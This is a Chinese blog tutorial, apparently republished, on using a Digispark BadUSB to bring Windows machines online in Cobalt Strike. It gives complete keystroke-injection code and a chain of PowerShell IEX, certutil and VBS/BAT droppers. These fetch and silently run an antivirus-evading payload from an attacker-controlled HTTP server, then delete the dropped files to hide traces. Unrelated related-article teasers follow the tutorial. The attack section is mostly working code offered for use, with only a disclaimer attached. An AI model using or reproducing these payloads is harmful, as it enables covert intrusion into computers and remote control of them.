【近源攻击】badusb上线cs

❤️博客主页 iknow181
🔥系列专栏 网络安全、 Python、JavaSE、JavaWeb、CCNP
🎉欢迎大家点赞👍收藏⭐评论✍


在这里插入图片描述

0x01 实验前提

攻击设备:badusb
cs服务器:公网部署了 cs 服务端

0x02 实验步骤

1.CS 设置

添加一个 监听器

生成powershell一句话上线的命令

复制生成的 powershell 命令

2.上传 badusb

打开Arduino IDE

复制如下代码进行验证(Verify),ino内写入以下代码

ps:我使用的是 Digispark,而不是标准的 Arduino 板。

#include "DigiKeyboard.h"// 定义常量
#define KEY_ENTER    0x28
#define KEY_SHIFT     0xE1
#define KEY_CTRL      0x1D
#define KEY_CAPS_LOCK 0x39void setup() {DigiKeyboard.delay(3000);  // 延时3秒// 按下Win + R 打开运行框DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);DigiKeyboard.delay(1000);  // 增加等待时间,确保运行框弹出// 输入命令 cmd 并回车DigiKeyboard.print(F("cmd"));DigiKeyboard.delay(500);  // 延时以确保输入完整DigiKeyboard.sendKeyStroke(KEY_ENTER);DigiKeyboard.sendKeyStroke(KEY_ENTER);DigiKeyboard.delay(1000);  // 延时确保命令行窗口打开// 输入法修正:按下Ctrl + Space切换到英文输入法DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_CONTROL_LEFT);DigiKeyboard.delay(500);  // 等待输入法切换// 输入PowerShell命令,下载并执行远程脚本DigiKeyboard.print(F("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.135:80/b'))\""));DigiKeyboard.delay(500);  // 延时以确保输入完整DigiKeyboard.sendKeyStroke(KEY_ENTER);DigiKeyboard.delay(2000);  // 增加延时以确保命令执行时间充足
}void loop() {// 空函数,留空即可
}

然后会运行一次作为示例,再次返回CS,发现已成功上线

0x03 Badusb实现后台静默执行上线免杀CS 马

0.原因

免杀木马的意义就是绕过对方主机的一些策略。

比如如果对方的的权限过低,直接执行 ps1 的命令会显示拒绝访问。

又或者如果是让对方直接下载没有免杀的木马会被电脑发现可能是病毒文件拒绝执行。

1.制作免杀 cs 马

具体看我的免杀文章

【免杀】CS免杀——ps1免杀-CSDN博客

2.实现

a.开启 http

在你的 vps 上开一个 http 服务,把要利用的文件全放在该目录下,好让目标主机下载运行

可以使用apache 开一个网站,将文件放在网站根目录下。

apt-get install apache2

/var/www/html

service apache2 start

也可以创建一个专门放 shell 的文件夹,然后开一个 python 的 http 服务。

python3 -m http.server 8888

b.badusb 的代码

WIN+R打开运行窗口,通过打开CMD下载RUN.VBS,落地到D盘根目录后CMD关闭,并静默执行RUN.VBS

#include "DigiKeyboard.h"// 定义常量
#define KEY_ENTER    0x28
#define KEY_SHIFT    0xE1void setup() {DigiKeyboard.delay(3000);  // 延时3秒,等待目标系统准备// 打开运行框:按下 Win + RDigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);DigiKeyboard.delay(1000);  // 增加等待时间,确保运行框弹出// 输入 cmd 并回车DigiKeyboard.print(F("cmd"));DigiKeyboard.delay(500);  // 延时以确保输入完整DigiKeyboard.sendKeyStroke(KEY_ENTER);DigiKeyboard.sendKeyStroke(KEY_ENTER);DigiKeyboard.delay(1000);  // 延时确保命令行窗口打开//利用开大写输小写绕过输入法DigiKeyboard.sendKeyStroke(KEY_CAPS_LOCK);DigiKeyboard.delay(200);// 输入 PowerShell 命令,下载并执行远程脚本DigiKeyboard.print("cmd /q /c mode con:COLS=15 LINES=1 && certutil -urlcache -split -f http://192.168.1.1:8888/RUN.VBS d:\\RUN.VBS && timeout /t 1 && start /B d:\\RUN.VBS" ); //无回显//DigiKeyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\""); //有回显DigiKeyboard.delay(500);  // 延时确保输入完整DigiKeyboard.sendKeyStroke(KEY_ENTER);DigiKeyboard.delay(2000);  // 确保命令有足够的时间执行DigiKeyboard.end();//结束键盘通讯
}void loop() {// 空函数,留空即可
}

c.落地文件

RUN.VBS

通过certutil命令远程下载POWERSHELL.BAT,落地到D盘根目录

静默执行POWERSHELL.BAT

set ws=WScript.CreateObject("WScript.Shell")
ws.Run "cmd /c certutil -urlcache -split -f http://192.168.1.1:8888/POWERSHELL.BAT d:\\POWERSHELL.BAT && start /B d:\\POWERSHELL.BAT",0
POWERSHELL.BAT

通过certutil命令下载POWERSHELL.PS1,落地到D盘根目录

考虑网络问题,下载POWERSHELL.PS1需要时间(测试的时候出现了执行速度太快,导致没下载完就直接执行了下一步),所以延时一秒

通过powershell后台静默执行POWERSHELL.PS1,至此CS上线

上线后立即删除R开头VBS文件

延时一秒(测试出现powershell执行速度太慢,没上线)

依次删除落地的恶意文件

@echo offcertutil -urlcache -split -f http://192.168.1.1:8888/POWERSHELL.PS1 d:\\POWERSHELL.PS1TIMEOUT /T 1start /B powershell.exe -executionpolicy bypass -file d:\\POWERSHELL.PS1del "D:\RUN.VBS" /f /s /q
del "D:\POWERSHELL.PS1" /f /s /q
del "D:\POWERSHELL.BAT" /f /s /qexit
POWERSHELL.PS1

使用之前写的免杀 cs 马

把这三个文件上传到网站,badusb一插入机器就上线了。

0x03 免责说明

本文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/145867.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【计算机网络】理解应用层协议HTTP

目录 HTTP协议认识URLHTTP协议的请求如果我们想获得请求报文的完整内容,怎么办? HTTP协议的响应HTTP的方法GETvsPOST HTTP的状态码HTTP常见HeaderHTTP版本实现一个简单的HTTP服务器 HTTP协议 HTTP协议是一种超文本传输协议,它定义了客户端与…

Kafka 3.0.0集群部署教程

1、集群规划 主机名 ip地址 node.id process.roles kafka1 192.168.0.29 1 broker,controller Kafka2 192.168.0.30 2 broker,controller Kafka3 192.168.0.31 3 broker,controller 将kafka包上传以上节点/app目录下 mkdir /app 解压kafka包 tar -zxvf kafka_…

java之斗地主部分功能的实现

今天我们要实现斗地主中发牌和洗牌这两个功能,该如何去实现呢? 1.创建牌类:52张牌每一张牌包含两个属性:牌的大小和牌的花色。 故我们优先创建一个牌的类(Card):包含大小和花色。 public class Card { //单张牌的大小及类型/…

伊犁-linux 硬盘添加,分区,格式化

主要是linux 下操作硬盘分区,格式化 这样1个sata 盘就添加成功了 !  继续添加三块 sata1 hda sata hdb sata hdc sata hdd scsi sda 作为启动盘 进行操作系统的引导 如果scsi 往下调整 先敲enter 在用- 号往下 如果是往上调整敲…

【IDEA】使用IDEA连接MySQL数据库并自动生成MySQL的建表SQL语句

前言: 在软件开发过程中,数据库的设计与实现是至关重要的一环。IntelliJ IDEA作为一款强大的集成开发环境(IDE),提供了丰富的数据库工具,使得连接MySQL数据库并自动生成建表SQL语句变得简单快捷。本文将详细…

《python语言程序设计》2018版第8章18题几何circle2D类(上部)

一、利用第7章的内容来做前5个点 第一章之1--从各种角度来测量第一章之2--各种结果第二章之1--建立了针对比对点在圆内的几段第二章之2--利用建立的对比代码,得出的第2点位置 第一章之1–从各种角度来测量 class Circle2D:def __init__(self, x, y, radius):self._…

Stable Diffusion绘画 | ControlNet应用-qrcode 二维码控制器:艺术二维码来啦

qrcode 二维码控制器,是一款专用于生成艺术二维码的控制器, 需要单独下载,下载后,将文件放置在:SD安装目录\extensions\sd-webui-controlnet\models 实操 开启第一个 ControlNet,上传一个二维码图片&…

【24华为杯数模研赛赛题思路已出】国赛E题第二套思路丨附参考代码丨免费分享

2024年数模研赛E题解题思路 在高速公路建设中,通常会设置应急车道,以便应对救援和医疗需求。应急车道一般不允许占用,但在某些情况下,如监测到某路段即将拥堵且没有事故时,合理使用应急车道可以帮助降低车流密度&…

对不起,放弃了wiki.js转向了obsidian

wifi.js可以满足我的以下要求: 支持文档在线编辑支持浏览器编辑支持二进制文件上传和下载支持历史记录和回滚支持用户账号分权支持数据和nas同步支持markdown的预览模式 但是wiki.js不能满足如下: markdown编辑无法做到图片复制粘贴无法查看pdf无法独立于文档上传…

影刀RPA实战:网页爬虫之药品数据

1 实战目标 这次给大家带来的实战示例是采集中国医药信息平台上的药品数据,主要获取药品名称,介绍,药品类型,处方类型,医保类型,参考价格,药品成分,性状,适应病症&#…

SAP B1 Web Client MS Teams App集成连载四

过程/Procedure: 1.通过点击选项卡旁边的下拉箭头,可以重新配置、重命名和移除现有选项卡。 You can reconfigure, rename and remove an existing tab by clicking the drop down arrow alongside the tab. 要重新配置选项卡,请选择“设置”…

HTML-DOM模型

1.DOM模型 window对象下的document对象就是DOM模型。 DOM描绘了一个层次化的节点树,每一个节点就是一个html标签,而且每一个节点也是一个DOM对象。 2.操作DOM 2.1.获取DOM对象常用方法 获取DOM对象的常用方法有如下几种: getElementById(…

无线麦克风哪个好,麦克风哪个品牌音质最好,领夹麦克风推荐

​无线领夹麦克风作为直播、视频录制等场景必备的设备之一,用起来很方便,功能多样且易于操作,在音频设备领域占据着重要地位。但当前市场乱象较为严重,有许多商家纷纷打起价格战,忽视了产品质量,造成耐用性…

李沐 多层感知机【动手学深度学习v2】

学习XOR 同或操作:相同为1,不同为0。 先进入蓝色和黄色分类器,最后进入灰色分类器来得到最终的结果。 单隐藏层 输入为x1~x4,加入隐藏层后,x1~x4需要先进入h1~h5,该隐藏层再作为输入,连接下一层…

【24华为杯数模研赛赛题思路已出】国赛E题思路丨附参考代码丨免费分享

2024年华为杯研赛E题解题思路 E题 高速公路应急车道紧急启用模型 问题1 1. 某路段(长度约5000m,行车道2应急车道1)上有四个视频观测点(见示意图1)。请基于该路段四个视频数据解决如下问题: (…

任天堂发言人:不会透露起诉《幻兽帕鲁》开发商细节

任天堂在昨天突然宣布将起诉《幻兽帕鲁》开发商 Pocketpair,除了引起许多玩家不满外,更多的是所有人的疑惑:因为实际上大家内心里觉得任天堂出手是理所当然的,但是为什么是在游戏发布数月后才选择起诉?此次诉讼是“专利…

解决引入ethereumjs-wallet报错Uncaught ReferenceError: process is defined

最近在学习web3.0开发DApp的视频教程,遇到用助记词生成秘钥对报错Uncaught ReferenceError: process is defined。具体报错如下截图: 在网上搜了好几个小时都没找到解决方法。突然在学习的视频论坛找到有哥们说是引入的包不兼容问题导致报这个错。我试了…

集合框架(一):Collection集合的遍历方式

一.迭代器遍历Collection集合 package com.njau.d2_collection_traverse;import java.util.ArrayList; import java.util.Collection; import java.util.Iterator;/*** 目标:Collection集合的遍历方式一:使用迭代器Iterator对象遍历Collection集合*/ pub…

嵌入式常用硬件电路设计及分析 — 通信篇

目录 一、简介 二、RS232通信 1、硬件电路设计 2、硬件电路设计分析 (1)常规电路 (2)EMC设计使用注意事项 3、DB9接头定义 三、RS485通信 1、硬件电路设计 2、硬件电路设计分析 (1)自动收发电路…

【C++】C++入门概念(一)

C关键字 C总计63个关键字,C语言32个关键字 ps:下面我们只是看一下C有多少关键字,不对关键字进行具体的讲解。后面我们学到以后再详细讨论。 命名空间 在C/C中,变量、函数和后面要学到的类都是大量存在的,这些变量、…